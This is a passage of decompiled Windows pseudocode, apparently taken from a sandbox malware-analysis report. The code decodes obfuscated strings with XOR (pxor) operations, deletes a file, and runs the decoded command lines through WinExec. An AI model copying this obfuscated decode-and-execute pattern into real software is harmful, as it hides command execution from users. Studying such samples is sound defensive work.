					_t2161 = _v1760;
					__eflags =  *((intOrPtr*)(_t2161 + 0x14)) - 0x10;
					if( *((intOrPtr*)(_t2161 + 0x14)) < 0x10) {
						_v2196 = 0;
					} else {
						_v2196 = 1;
					}
					_v1422 = _v2196;
					__eflags = _v1422 & 0x000000ff;
					if((_v1422 & 0x000000ff) != 0) {
						_v3212 =  *_v1760;
						_v2064 = _v3212;
					}
					_v3216 = _v2064;
					_v3220 = _v3216;
					DeleteFileA(_v3220);
					E00971AB0( &_v5796);
				}
				_t1754 = E009893C0( &_v1224, 0x9d35f8);
				_t2940 = _t2939 + 8;
				__eflags = _t1754 & 0x000000ff;
				if((_t1754 & 0x000000ff) == 0) {
					_t1757 = E009893C0( &_v1080, E00971810( &_v5916,  &_v284));
					_t2941 = _t2940 + 8;
					_v1332 = _t1757;
					E00971AB0( &_v5916);
					__eflags = _v1332 & 0x000000ff;
					if((_v1332 & 0x000000ff) != 0) {
						_t2954 = _t2941 - 0x18;
						_v3844 = _t2954;
						E00971810(_t2954,  &_v284);
						E00981810(_t2906, _t2909);
						_t2941 = _t2954 + 0x18;
					}
					goto L45;
				} else {
					_v1369 = 0;
					_v1423 = 0;
					_v1424 = 0;
					_v1912 = _v1369;
					_v1916 = _v1423;
					_v1920 = _v1424;
					_v2748 = 0x295c0472;
					_v2744 = 0xff08575d;
					_v3420 = _v2748;
					_v3416 = _v2744;
					_v2756 = 0xe790a35f;
					_v2752 = 0xc7f67807;
					_v3412 = _v2756;
					_v3408 = _v2752;
					_v1764 =  &_v3420;
					_v764 = 0x7c286135;
					_v760 = 0x8b69332d;
					_v756 = 0x89f9ef3a;
					_v752 = 0xc7f6786c;
					_v1425 = 0;
					_v1924 = _v1425;
					asm("movaps xmm0, [ebp-0x2f0]");
					asm("movaps [ebp-0x1080], xmm0");
					asm("movups xmm0, [ecx]");
					asm("movaps [ebp-0x1070], xmm0");
					asm("movaps xmm0, [ebp-0x1070]");
					asm("pxor xmm0, [ebp-0x1080]");
					asm("movaps [ebp-0x1090], xmm0");
					asm("movaps xmm0, [ebp-0x1090]");
					asm("movups [edx], xmm0");
					_v3224 = _v1764;
					_t2955 = _t2940 - 0x18;
					_v3924 = _t2955;
					E00971810(_t2955, _v3224);
					_t2956 = _t2955 - 0x18;
					_v3928 = _t2956;
					E00986C20(_t2956,  &_v1128);
					_push( &_v1104); // executed
					E0097BE20(_v3224, __eflags); // executed
					_t2816 = _v1088;
					_v3228 = _t2816;
					_t2914 = _v3228;
					_t2048 =  *0x9d28d8; // 0x15b5d
					_t2472 =  *0x9d28dc; // 0x0
					_t2051 = E009C3280(E009C3280(_t2048 ^ 0x00004579, _t2472 ^ 0x00000000, 0, 0), _t2816, 4, 0);
					_t2817 =  *0x9d28cc; // 0x0
					_t2818 =  *0x9d28c8; // 0x4c
					_v3232 = _t2051;
					_v3236 = _t2816;
					_t2053 = E009C3300(E009C3280(_t2818, _t2817, 0x4579, 0), _t2818, 0x19, 0);
					asm("adc eax, edx");
					_t2056 = E00972800(__eflags, _v3232 + _t2053 ^ 0x00000019, _v3236 ^ 0x00000000);
					_t2958 = _t2956 + 0x3c;
					_v2764 = _v3228;
					_v2760 = 0;
					_v2772 = _t2056;
					_v2768 = _t2818;
					__eflags = _v2760 - _v2768;
					if(__eflags > 0) {
						L18:
						_v1431 = 0;
						_v1432 = 0;
						_v1433 = 0;
						_v1944 = _v1431;
						_v1948 = _v1432;
						_v1952 = _v1433;
						_v2828 = 0xc5c155d;
						_v2824 = 0xa446095e;
						_v3452 = _v2828;
						_v3448 = _v2824;
						_v2836 = 0x89f9ef3a;
						_v2832 = 0xc7f6786c;
						_v3444 = _v2836;
						_v3440 = _v2832;
						_v1768 =  &_v3452;
						_v2088 = _v3932;
						_v780 = 0x7c286135;
						_v776 = 0x8b69332d;
						_v772 = 0x89f9ef3a;
						_v768 = 0xc7f6786c;
						_v1434 = 0;
						_v1956 = _v1434;
						asm("movaps xmm0, [ebp-0x300]");
						asm("movaps [ebp-0x1140], xmm0");
						asm("movups xmm0, [edx]");
						asm("movaps [ebp-0x1130], xmm0");
						asm("movaps xmm0, [ebp-0x1130]");
						asm("pxor xmm0, [ebp-0x1140]");
						asm("movaps [ebp-0x1150], xmm0");
						asm("movaps xmm0, [ebp-0x1150]");
						asm("movups [eax], xmm0");
						_v2088 = _v1768;
						_v2092 = _v3956;
						_v1772 =  &_v1104;
						_v2084 = _v1772;
						_t2827 = _v1772;
						__eflags =  *((intOrPtr*)(_t2827 + 0x14)) - 0x10;
						if( *((intOrPtr*)(_t2827 + 0x14)) < 0x10) {
							_v2080 = 0;
						} else {
							_v2080 = 1;
						}
						_v1435 = _v2080;
						__eflags = _v1435 & 0x000000ff;
						if((_v1435 & 0x000000ff) != 0) {
							_v3256 =  *_v1772;
							_v2084 = _v3256;
						}
						_v3260 = _v2084;
						_v2092 = _v3260;
						_t2068 = E009AD5D0(_v2092, _v2088);
						_t2959 = _t2958 + 8;
						__eflags = _t2068;
						if(__eflags == 0) {
							_v2096 = 0;
						} else {
							_v2096 = 1;
						}
						_v1331 = _v2096;
						_v1436 = 0;
						_v1437 = 0;
						_v1321 = 0;
						_v1323 = 0;
						_v1324 = 0;
						_v1325 = 0;
						_v1960 = _v1436;
						_v1964 = _v1437;
						_v1968 = _v1321;
						_v2844 = 0x1950041b;
						_v2840 = 0x8b69332d;
						_v3468 = _v2844;
						_v3464 = _v2840;
						_v2852 = 0x89f9ef3a;
						_v2848 = 0xc7f6786c;
						_v3460 = _v2852;
						_v3456 = _v2848;
						_v1776 =  &_v3468;
						_v1788 = _v3936;
						_v796 = 0x7c286135;
						_v792 = 0x8b69332d;
						_v788 = 0x89f9ef3a;
						_v784 = 0xc7f6786c;
						_v1322 = 0;
						_v1972 = _v1322;
						asm("movaps xmm0, [ebp-0x310]");
						asm("movaps [ebp-0x1170], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x1160], xmm0");
						asm("movaps xmm0, [ebp-0x1160]");
						asm("pxor xmm0, [ebp-0x1170]");
						asm("movaps [ebp-0x1180], xmm0");
						asm("movaps xmm0, [ebp-0x1180]");
						asm("movups [edx], xmm0");
						_v1788 = _v1776;
						_v3300 = E00973F10(_t2176,  &_v5892, 0x18, 0, _t2914, __eflags);
						_v1976 = _v1323;
						_v1980 = _v1324;
						_v1984 = _v1325;
						_v2860 = 0x7c286169;
						_v2856 = 0x8b69332d;
						_v3500 = _v2860;
						_v3496 = _v2856;
						_v2868 = 0x89f9ef3a;
						_v2864 = 0xc7f6786c;
						_v3492 = _v2868;
						_v3488 = _v2864;
						_v1780 =  &_v3500;
						_v1784 = _v3940;
						_v812 = 0x7c286135;
						_v808 = 0x8b69332d;
						_v804 = 0x89f9ef3a;
						_v800 = 0xc7f6786c;
						_v1326 = 0;
						_v1988 = _v1326;
						asm("movaps xmm0, [ebp-0x320]");
						asm("movaps [ebp-0x11a0], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x1190], xmm0");
						asm("movaps xmm0, [ebp-0x1190]");
						asm("pxor xmm0, [ebp-0x11a0]");
						asm("movaps [ebp-0x11b0], xmm0");
						asm("movaps xmm0, [ebp-0x11b0]");
						asm("movups [edx], xmm0");
						_v1784 = _v1780;
						_t2085 = E00973CC0( &_v5868, _v1780, __eflags); // executed
						_v3288 = _t2085;
						_v1492 = _v1784;
						_t2846 = _v1492 + 1;
						__eflags = _t2846;
						_v3272 = _t2846;
						do {
							_v1327 =  *_v1492;
							_v1492 = _v1492 + 1;
							__eflags = _v1327;
						} while (_v1327 != 0);
						_v3276 = _v1492 - _v3272;
						_v3280 = _v3276;
						_v3284 = _v3280;
						_v3292 = E00987AE0(_t2176, _v3288, 0, _t2914, _v1784, _v3284);
						_v3296 = _v3292;
						E00971790( &_v5244, _v3296);
						_v3304 =  &_v5244;
						E0098B240(_t2176,  &_v5220, 0, _t2914, _v1989 & 0x000000ff, _v3304, _v3300);
						_v3324 =  &_v5220;
						_v1496 = _v1788;
						_t2095 = _v1496 + 1;
						__eflags = _t2095;
						_v3308 = _t2095;
						do {
							_v1328 =  *_v1496;
							_v1496 = _v1496 + 1;
							__eflags = _v1328;
						} while (_v1328 != 0);
						_v3312 = _v1496 - _v3308;
						_v3316 = _v3312;
						_v3320 = _v3316;
						_v3328 = E00987AE0(_t2176, _v3324, 0, _t2914, _v1788, _v3320);
						_t2855 = _v3328;
						_v3332 = _t2855;
						E00971790( &_v1176, _v3332);
						E00971AB0( &_v5220);
						E00971AB0( &_v5244);
						E00971AB0( &_v5868);
						E00971AB0( &_v5892);
						_push(_v1840);
						E009A6B70();
						_t2107 =  *0x9d28d0; // 0x3a
						asm("cdq");
						_t2906 = _t2855;
						asm("adc edi, 0x0");
						_t2108 =  *0x9d28d4; // 0xfc
						asm("cdq");
						asm("adc edx, 0x0");
						_t2110 = E009C3280(_t2108 + 0x4579, _t2855, 0x4579, 0);
						asm("adc eax, 0x0");
						_v3336 = _t2855;
						_t2112 =  *0x9d28d4; // 0xfc
						asm("cdq");
						asm("adc edx, 0x0");
						_t2115 = E009C3280(_t2110 + 0x64, _v3336, _t2112 + 9, _t2855);
						asm("adc edi, edx");
						_t2909 = _t2107 + 9 + _t2115 + 0x4579;
						asm("adc edi, 0x0");
						_t2116 = E00972730(_t2107 + 9 + _t2115 + 0x4579, _t2855);
						_t2961 = _t2959 + 0xc;
						_v2228 = _t2116;
						_v2116 = _v3944;
						_v1792 =  &_v1176;
						_v2104 = _v1792;
						_t2857 = _v1792;
						__eflags =  *((intOrPtr*)(_t2857 + 0x14)) - 0x10;
						if( *((intOrPtr*)(_t2857 + 0x14)) < 0x10) {
							_v2100 = 0;
						} else {
							_v2100 = 1;
						}
						_v1329 = _v2100;
						__eflags = _v1329 & 0x000000ff;
						if((_v1329 & 0x000000ff) != 0) {
							_v2212 =  *_v1792;
							_v2104 = _v2212;
						}
						_v2216 = _v2104;
						_v2116 = _v2216;
						_v2120 = _v3948;
						_v1796 =  &_v1104;
						_v2112 = _v1796;
						_t2528 = _v1796;
						__eflags =  *((intOrPtr*)(_t2528 + 0x14)) - 0x10;
						if( *((intOrPtr*)(_t2528 + 0x14)) < 0x10) {
							_v2108 = 0;
						} else {
							_v2108 = 1;
						}
						_v1330 = _v2108;
						__eflags = _v1330 & 0x000000ff;
						if(__eflags != 0) {
							_v2220 =  *_v1796;
							_v2112 = _v2220;
						}
						_v2224 = _v2112;
						_v2120 = _v2224;
						_push(_v2228);
						_push(0);
						_push(_v1331 & 0x000000ff);
						_push(_v2116);
						_push(_v2120); // executed
						_t2124 = E009A61E0(__eflags); // executed
						_t2941 = _t2961 + 0x14;
						__eflags = _t2124 & 0x000000ff;
						if((_t2124 & 0x000000ff) != 0) {
							_t2962 = _t2941 - 0x18;
							_v3840 = _t2962;
							E00986C20(_t2962,  &_v1176); // executed
							E00981810(_t2906, _t2909); // executed
							_t2941 = _t2962 + 0x18;
						}
						E00971AB0( &_v1176);
						E00971AB0( &_v1104);
						L45:
						_v2232 = _v1208;
						__eflags = _v2232;
						if(__eflags == 0) {
							L81:
							_v1417 = 0;
							_v1370 = 0;
							_v1371 = 0;
							_v1373 = 0;
							_v1374 = 0;
							_v1375 = 0;
							_v1377 = 0;
							_v1378 = 0;
							_v1379 = 0;
							_v1576 = _v1417;
							_v1580 = _v1370;
							_v1584 = _v1371;
							_v3004 = 0x8074117;
							_v3000 = 0xdb4b1343;
							_v3788 = _v3004;
							_v3784 = _v3000;
							_v3012 = 0xfb9c9855;
							_v3008 = 0xb398172f;
							_v3780 = _v3012;
							_v3776 = _v3008;
							_v3020 = 0xb68f7f45;
							_v3016 = 0x8e902a7;
							_v3772 = _v3020;
							_v3768 = _v3016;
							_v3028 = 0xf5892aa3;
							_v3024 = 0x1c1fc96e;
							_v3764 = _v3028;
							_v3760 = _v3024;
							_v3036 = 0x1078c335;
							_v3032 = 0x227403d3;
							_v3756 = _v3036;
							_v3752 = _v3032;
							_v3044 = 0x3042ef47;
							_v3040 = 0x7e448743;
							_v3748 = _v3044;
							_v3744 = _v3040;
							_v1452 =  &_v3788;
							_v1872 = _v3896;
							_v668 = 0x7c286135;
							_v664 = 0x8b69332d;
							_v660 = 0x89f9ef3a;
							_v656 = 0xc7f6786c;
							_v652 = 0x96e31037;
							_v648 = 0x28cb50ef;
							_v644 = 0xd5ea598c;
							_v640 = 0x4e4a8626;
							_v636 = 0x3f589a79;
							_v632 = 0x6a546fa1;
							_v628 = 0x750aa80e;
							_v624 = 0x7e44d310;
							_v1372 = 0;
							_v1588 = _v1372;
							asm("movaps xmm0, [ebp-0x290]");
							asm("movaps [ebp-0x1430], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x1420], xmm0");
							asm("movaps xmm0, [ebp-0x1420]");
							asm("pxor xmm0, [ebp-0x1430]");
							asm("movaps [ebp-0x1440], xmm0");
							asm("movaps xmm0, [ebp-0x1440]");
							asm("movups [edx], xmm0");
							_v2184 = _v1452 + 0x10;
							asm("movaps xmm0, [ebp-0x280]");
							asm("movaps [ebp-0x14e0], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x14d0], xmm0");
							asm("movaps xmm0, [ebp-0x14d0]");
							asm("pxor xmm0, [ebp-0x14e0]");
							asm("movaps [ebp-0x1580], xmm0");
							asm("movaps xmm0, [ebp-0x1580]");
							asm("movups [edx], xmm0");
							_v2188 = _v1452 + 0x20;
							asm("movaps xmm0, [ebp-0x270]");
							asm("movaps [ebp-0x15c0], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x15b0], xmm0");
							asm("movaps xmm0, [ebp-0x15b0]");
							asm("pxor xmm0, [ebp-0x15c0]");
							asm("movaps [ebp-0x1600], xmm0");
							asm("movaps xmm0, [ebp-0x1600]");
							asm("movups [edx], xmm0");
							_v1872 = _v1452;
							_v1592 = _v1373;
							_v1596 = _v1374;
							_v1600 = _v1375;
							_v3052 = 0x8074117;
							_v3048 = 0x8b4b135f;
							_v3484 = _v3052;
							_v3480 = _v3048;
							_v3060 = 0x89f9ef3a;
							_v3056 = 0xc7f6786c;
							_v3476 = _v3060;
							_v3472 = _v3056;
							_v1860 =  &_v3484;
							_v1868 = _v3900;
							_v924 = 0x7c286135;
							_v920 = 0x8b69332d;
							_v916 = 0x89f9ef3a;
							_v912 = 0xc7f6786c;
							_v1376 = 0;
							_v1604 = _v1376;
							asm("movaps xmm0, [ebp-0x390]");
							asm("movaps [ebp-0x1240], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x1650], xmm0");
							asm("movaps xmm0, [ebp-0x1650]");
							asm("pxor xmm0, [ebp-0x1240]");
							asm("movaps [ebp-0x1250], xmm0");
							asm("movaps xmm0, [ebp-0x1250]");
							asm("movups [edx], xmm0");
							_v1868 = _v1860;
							_v2404 = E00971810( &_v5820,  &_v548);
							_v1608 = _v1377;
							_v1612 = _v1378;
							_v1616 = _v1379;
							_v3068 = 0x8400246;
							_v3064 = 0xf802404c;
							_v3660 = _v3068;
							_v3656 = _v3064;
							_v3076 = 0xfb9ac01a;
							_v3072 = 0xa2821909;
							_v3652 = _v3076;
							_v3648 = _v3072;
							_v3084 = 0xb6853f17;
							_v3080 = 0x89e02c0;
							_v3644 = _v3084;
							_v3640 = _v3080;
							_v3092 = 0xd5ea59ae;
							_v3088 = 0x4e4a8626;
							_v3636 = _v3092;
							_v3632 = _v3088;
							_v1504 =  &_v3660;
							_v1900 = _v3952;
							_v972 = 0x7c286135;
							_v968 = 0x8b69332d;
							_v964 = 0x89f9ef3a;
							_v960 = 0xc7f6786c;
							_v956 = 0x96e31037;
							_v952 = 0x28cb50ef;
							_v948 = 0xd5ea598c;
							_v944 = 0x4e4a8626;
							_v1380 = 0;
							_v1620 = _v1380;
							asm("movaps xmm0, [ebp-0x3c0]");
							asm("movaps [ebp-0x1270], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x1260], xmm0");
							asm("movaps xmm0, [ebp-0x1260]");
							asm("pxor xmm0, [ebp-0x1270]");
							asm("movaps [ebp-0x1280], xmm0");
							asm("movaps xmm0, [ebp-0x1280]");
							asm("movups [edx], xmm0");
							_v2192 = _v1504 + 0x10;
							asm("movaps xmm0, [ebp-0x3b0]");
							asm("movaps [ebp-0x12a0], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x1290], xmm0");
							asm("movaps xmm0, [ebp-0x1290]");
							asm("pxor xmm0, [ebp-0x12a0]");
							asm("movaps [ebp-0x12b0], xmm0");
							asm("movaps xmm0, [ebp-0x12b0]");
							asm("movups [edx], xmm0");
							_v1900 = _v1504;
							_v1456 = _v1900;
							_t2644 = _v1456 + 1;
							__eflags = _t2644;
							_v2388 = _t2644;
							do {
								_v1381 =  *_v1456;
								_v1456 = _v1456 + 1;
								__eflags = _v1381;
							} while (_v1381 != 0);
							_v2392 = _v1456 - _v2388;
							_v2396 = _v2392;
							_v2400 = _v2396;
							_v2408 = E0098C770(_t2176, _v2404, _t2906, _t2909, 0, _v1900, _v2400);
							_v2412 = _v2408;
							E00971790( &_v5428, _v2412);
							_v2432 =  &_v5428;
							_v1460 = _v1868;
							_t2650 = _v1460 + 1;
							__eflags = _t2650;
							_v2416 = _t2650;
							do {
								_v1382 =  *_v1460;
								_v1460 = _v1460 + 1;
								__eflags = _v1382;
							} while (_v1382 != 0);
							_v2420 = _v1460 - _v2416;
							_v2424 = _v2420;
							_v2428 = _v2424;
							_v2436 = E00987AE0(_t2176, _v2432, _t2906, _t2909, _v1868, _v2428);
							_v2440 = _v2436;
							E00971790( &_v5404, _v2440);
							_v2444 = E00986AB0(_t2176,  &_v5404, _t2906, _t2909,  &_v1080);
							_v2448 = _v2444;
							E00971790( &_v5380, _v2448);
							_v2468 =  &_v5380;
							_v1464 = _v1872;
							_t2657 = _v1464 + 1;
							__eflags = _t2657;
							_v2452 = _t2657;
							do {
								_v1383 =  *_v1464;
								_v1464 = _v1464 + 1;
								__eflags = _v1383;
							} while (_v1383 != 0);
							_v2456 = _v1464 - _v2452;
							_v2460 = _v2456;
							_v2464 = _v2460;
							_v2472 = E00987AE0(_t2176, _v2468, _t2906, _t2909, _v1872, _v2464);
							_v2476 = _v2472;
							E00971790( &_v1320, _v2476);
							E00971AB0( &_v5380);
							E00971AB0( &_v5404);
							E00971AB0( &_v5428);
							E00971AB0( &_v5820);
							_v1876 =  &_v1320;
							_v2200 = _v1876;
							_t2662 = _v1876;
							__eflags =  *((intOrPtr*)(_t2662 + 0x14)) - 0x10;
							if( *((intOrPtr*)(_t2662 + 0x14)) < 0x10) {
								_v2208 = 0;
							} else {
								_v2208 = 1;
							}
							_v1384 = _v2208;
							__eflags = _v1384 & 0x000000ff;
							if((_v1384 & 0x000000ff) != 0) {
								_v2480 =  *_v1876;
								_v2200 = _v2480;
							}
							_v2484 = _v2200;
							_v2488 = _v2484;
							WinExec(_v2488, 0); // executed
							_t2591 =  *0x9d356c & 0x000000ff;
							__eflags =  *0x9d356c & 0x000000ff;
							if(( *0x9d356c & 0x000000ff) != 0) {
								E00981060();
								goto L106;
							} else {
								_v1385 = 0;
								_v1386 = 0;
								_v1387 = 0;
								_v1389 = 0;
								_v1390 = 0;
								_v1391 = 0;
								_v1393 = 0;
								_v1394 = 0;
								_v1395 = 0;
								_v1624 = _v1385;
								_v1628 = _v1386;
								_v1632 = _v1387;
								_v3100 = 0x8074117;
								_v3096 = 0xdb4b1343;
								_v3740 = _v3100;
								_v3736 = _v3096;
								_v3108 = 0xfb9c9855;
								_v3104 = 0xb398172f;
								_v3732 = _v3108;
								_v3728 = _v3104;
								_v3116 = 0xb68f7f45;
								_v3112 = 0x8e917a3;
								_v3724 = _v3116;
								_v3720 = _v3112;
								_v3268 = 0xf5892aa3;
								_v3264 = 0x106c869;
								_v3716 = _v3268;
								_v3712 = _v3264;
								_v3132 = 0x1f16d53e;
								_v3128 = 0x4a381d8e;
								_v3708 = _v3132;
								_v3704 = _v3128;
								_v3140 = 0x3d4de146;
								_v3136 = 0x7e108055;
								_v3700 = _v3140;
								_v3696 = _v3136;
								_v1500 =  &_v3740;
								_v1892 = _v3960;
								_v604 = 0x7c286135;
								_v600 = 0x8b69332d;
								_v596 = 0x89f9ef3a;
								_v592 = 0xc7f6786c;
								_v588 = 0x96e31037;
								_v584 = 0x28cb50ef;
								_v580 = 0xd5ea598c;
								_v576 = 0x4e4a8626;
								_v572 = 0x3f589a79;
								_v568 = 0x6a546fa1;
								_v564 = 0x750aa80e;
								_v560 = 0x7e44d310;
								_v1388 = 0;
								_v1636 = _v1388;
								asm("movaps xmm0, [ebp-0x250]");
								asm("movaps [ebp-0x12d0], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x12c0], xmm0");
								asm("movaps xmm0, [ebp-0x12c0]");
								asm("pxor xmm0, [ebp-0x12d0]");
								asm("movaps [ebp-0x12e0], xmm0");
								asm("movaps xmm0, [ebp-0x12e0]");
								asm("movups [edx], xmm0");
								_v2204 = _v1500 + 0x10;
								asm("movaps xmm0, [ebp-0x240]");
								asm("movaps [ebp-0x1300], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x12f0], xmm0");
								asm("movaps xmm0, [ebp-0x12f0]");
								asm("pxor xmm0, [ebp-0x1300]");
								asm("movaps [ebp-0x1310], xmm0");
								asm("movaps xmm0, [ebp-0x1310]");
								asm("movups [edx], xmm0");
								_v2048 = _v1500 + 0x20;
								asm("movaps xmm0, [ebp-0x230]");
								asm("movaps [ebp-0x1330], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x1320], xmm0");
								asm("movaps xmm0, [ebp-0x1320]");
								asm("pxor xmm0, [ebp-0x1330]");
								asm("movaps [ebp-0x1340], xmm0");
								asm("movaps xmm0, [ebp-0x1340]");
								asm("movups [edx], xmm0");
								_v1892 = _v1500;
								_v1640 = _v1389;
								_v1644 = _v1390;
								_v1648 = _v1391;
								_v3148 = 0x8074117;
								_v3144 = 0x8b4b135f;
								_v3532 = _v3148;
								_v3528 = _v3144;
								_v3156 = 0x89f9ef3a;
								_v3152 = 0xc7f6786c;
								_v3524 = _v3156;
								_v3520 = _v3152;
								_v1880 =  &_v3532;
								_v1888 = _v3964;
								_v940 = 0x7c286135;
								_v936 = 0x8b69332d;
								_v932 = 0x89f9ef3a;
								_v928 = 0xc7f6786c;
								_v1392 = 0;
								_v1652 = _v1392;
								asm("movaps xmm0, [ebp-0x3a0]");
								asm("movaps [ebp-0x1360], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x1350], xmm0");
								asm("movaps xmm0, [ebp-0x1350]");
								asm("pxor xmm0, [ebp-0x1360]");
								asm("movaps [ebp-0x1370], xmm0");
								asm("movaps xmm0, [ebp-0x1370]");
								asm("movups [edx], xmm0");
								_v1888 = _v1880;
								_v2508 = E00971810( &_v5844,  &_v548);
								_v1656 = _v1393;
								_v1660 = _v1394;
								_v1664 = _v1395;
								_v3164 = 0x8400246;
								_v3160 = 0xf802404c;
								_v3692 = _v3164;
								_v3688 = _v3160;
								_v3172 = 0xfb9ac01a;
								_v3168 = 0xa2821909;
								_v3684 = _v3172;
								_v3680 = _v3168;
								_v3180 = 0xb6853f17;
								_v3176 = 0x89e02c0;
								_v3676 = _v3180;
								_v3672 = _v3176;
								_v3188 = 0xd5ea59ae;
								_v3184 = 0x4e4a8626;
								_v3668 = _v3188;
								_v3664 = _v3184;
								_v1508 =  &_v3692;
								_v1884 = _v3904;
								_v1004 = 0x7c286135;
								_v1000 = 0x8b69332d;
								_v996 = 0x89f9ef3a;
								_v992 = 0xc7f6786c;
								_v988 = 0x96e31037;
								_v984 = 0x28cb50ef;
								_v980 = 0xd5ea598c;
								_v976 = 0x4e4a8626;
								_v1396 = 0;
								_v1668 = _v1396;
								asm("movaps xmm0, [ebp-0x3e0]");
								asm("movaps [ebp-0x1390], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x1380], xmm0");
								asm("movaps xmm0, [ebp-0x1380]");
								asm("pxor xmm0, [ebp-0x1390]");
								asm("movaps [ebp-0x13a0], xmm0");
								asm("movaps xmm0, [ebp-0x13a0]");
								asm("movups [edx], xmm0");
								_v2052 = _v1508 + 0x10;
								asm("movaps xmm0, [ebp-0x3d0]");
								asm("movaps [ebp-0x13c0], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x13b0], xmm0");
								asm("movaps xmm0, [ebp-0x13b0]");
								asm("pxor xmm0, [ebp-0x13c0]");
								asm("movaps [ebp-0x13d0], xmm0");
								asm("movaps xmm0, [ebp-0x13d0]");
								asm("movups [edx], xmm0");
								_v1884 = _v1508;
								_v1472 = _v1884;
								_t2697 = _v1472 + 1;
								__eflags = _t2697;
								_v2492 = _t2697;
								do {
									_v1397 =  *_v1472;
									_v1472 = _v1472 + 1;
									__eflags = _v1397;
								} while (_v1397 != 0);
								_v2496 = _v1472 - _v2492;
								_v2500 = _v2496;
								_v2504 = _v2500;
								_v2512 = E0098C770(_t2176, _v2508, _t2906, _t2909, 0, _v1884, _v2504);
								_v2516 = _v2512;
								E00971790( &_v5500, _v2516);
								_v2536 =  &_v5500;
								_v1476 = _v1888;
								_t2703 = _v1476 + 1;
								__eflags = _t2703;
								_v2520 = _t2703;
								do {
									_v1398 =  *_v1476;
									_v1476 = _v1476 + 1;
									__eflags = _v1398;
								} while (_v1398 != 0);
								_v2524 = _v1476 - _v2520;
								_v2528 = _v2524;
								_v2532 = _v2528;
								_v2540 = E00987AE0(_t2176, _v2536, _t2906, _t2909, _v1888, _v2532);
								_v2544 = _v2540;
								E00971790( &_v5476, _v2544);
								_v2548 = E00986AB0(_t2176,  &_v5476, _t2906, _t2909,  &_v1080);
								_v2552 = _v2548;
								E00971790( &_v5452, _v2552);
								_v2572 =  &_v5452;
								_v1480 = _v1892;
								_t2710 = _v1480 + 1;
								__eflags = _t2710;
								_v2556 = _t2710;
								do {
									_v1399 =  *_v1480;
									_v1480 = _v1480 + 1;
									__eflags = _v1399;
								} while (_v1399 != 0);
								_v2560 = _v1480 - _v2556;
								_v2564 = _v2560;
								_v2568 = _v2564;
								_v2576 = E00987AE0(_t2176, _v2572, _t2906, _t2909, _v1892, _v2568);
								_v2580 = _v2576;
								E00971790( &_v1296, _v2580);
								E00971AB0( &_v5452);
								E00971AB0( &_v5476);
								E00971AB0( &_v5500);
								E00971AB0( &_v5844);
								_v1896 =  &_v1296;
								_v2060 = _v1896;
								_t2715 = _v1896;
								__eflags =  *((intOrPtr*)(_t2715 + 0x14)) - 0x10;
								if( *((intOrPtr*)(_t2715 + 0x14)) < 0x10) {
									_v2056 = 0;
								} else {
									_v2056 = 1;
								}
								_v1400 = _v2056;
								__eflags = _v1400 & 0x000000ff;
								if((_v1400 & 0x000000ff) != 0) {
									_v2584 =  *_v1896;
									_v2060 = _v2584;
								}
								_t2591 = _v2060;
								_v2588 = _v2060;
								_v2592 = _v2588;
								WinExec(_v2592, 0); // executed
								E00971AB0( &_v1296);
								L106:
								E00971AB0( &_v1320);
								E00971AB0( &_v1080);
								E00971AB0( &_v1224);
								E00971AB0( &_v1128);
								goto L107;
							}
						}
						_push( &_v1272);
						E00974630(_t2906, _t2909, __eflags);
						_t2943 = _t2941 + 4 - 0x18;
						_v3848 = _t2943;
						E00986C20(_t2943,  &_v1128);
						_push( &_v1248);
						E0097D100( &_v1272, __eflags);
						_v1333 = 0;
						_v1334 = 0;
						_v1335 = 0;
						_v1337 = 0;
						_v1338 = 0;
						_v1339 = 0;
						_v1996 = _v1333;
						_v2000 = _v1334;
						_v2004 = _v1335;
						_v2876 = 0x7c286149;
						_v2872 = 0x8b69332d;
						_v3516 = _v2876;
						_v3512 = _v2872;
						_v2884 = 0x89f9ef3a;
						_v2880 = 0xc7f6786c;
						_v3508 = _v2884;
						_v3504 = _v2880;
						_v1800 =  &_v3516;
						_v1808 = _v3852;
						_v828 = 0x7c286135;
						_v824 = 0x8b69332d;
						_v820 = 0x89f9ef3a;
						_v816 = 0xc7f6786c;
						_v1336 = 0;
						_v2008 = _v1336;
						asm("movaps xmm0, [ebp-0x330]");
						asm("movaps [ebp-0x11d0], xmm0");
						asm("movups xmm0, [edx]");
						asm("movaps [ebp-0x11c0], xmm0");
						asm("movaps xmm0, [ebp-0x11c0]");
						asm("pxor xmm0, [ebp-0x11d0]");
						asm("movaps [ebp-0x11e0], xmm0");
						asm("movaps xmm0, [ebp-0x11e0]");
						asm("movups [eax], xmm0");
						_v1808 = _v1800;
						_v2012 = _v1337;
						_v2016 = _v1338;
						_v2020 = _v1339;
						_v2892 = 0x305c0472;
						_v2888 = 0xee0d5242;
						_v3548 = _v2892;
						_v3544 = _v2888;
						_v2900 = 0xe790a348;
						_v2896 = 0xc7f60407;
						_v3540 = _v2900;
						_v3536 = _v2896;
						_v1804 =  &_v3548;
						_v844 = 0x7c286135;
						_v840 = 0x8b69332d;
						_v836 = 0x89f9ef3a;
						_v832 = 0xc7f6786c;
						_v1340 = 0;
						_v2024 = _v1340;
						asm("movaps xmm0, [ebp-0x340]");
						asm("movaps [ebp-0x1200], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x11f0], xmm0");
						asm("movaps xmm0, [ebp-0x11f0]");
						asm("pxor xmm0, [ebp-0x1200]");
						asm("movaps [ebp-0x1210], xmm0");
						asm("movaps xmm0, [ebp-0x1210]");
						asm("movups [edx], xmm0");
						_v2236 = _v1804;
						_t1916 = E00988BD0(_t2176, _t2906, _t2909,  &_v5748, _v2236,  &_v1272);
						_t2945 = _t2943 + 0x28;
						_v2256 = _t1916;
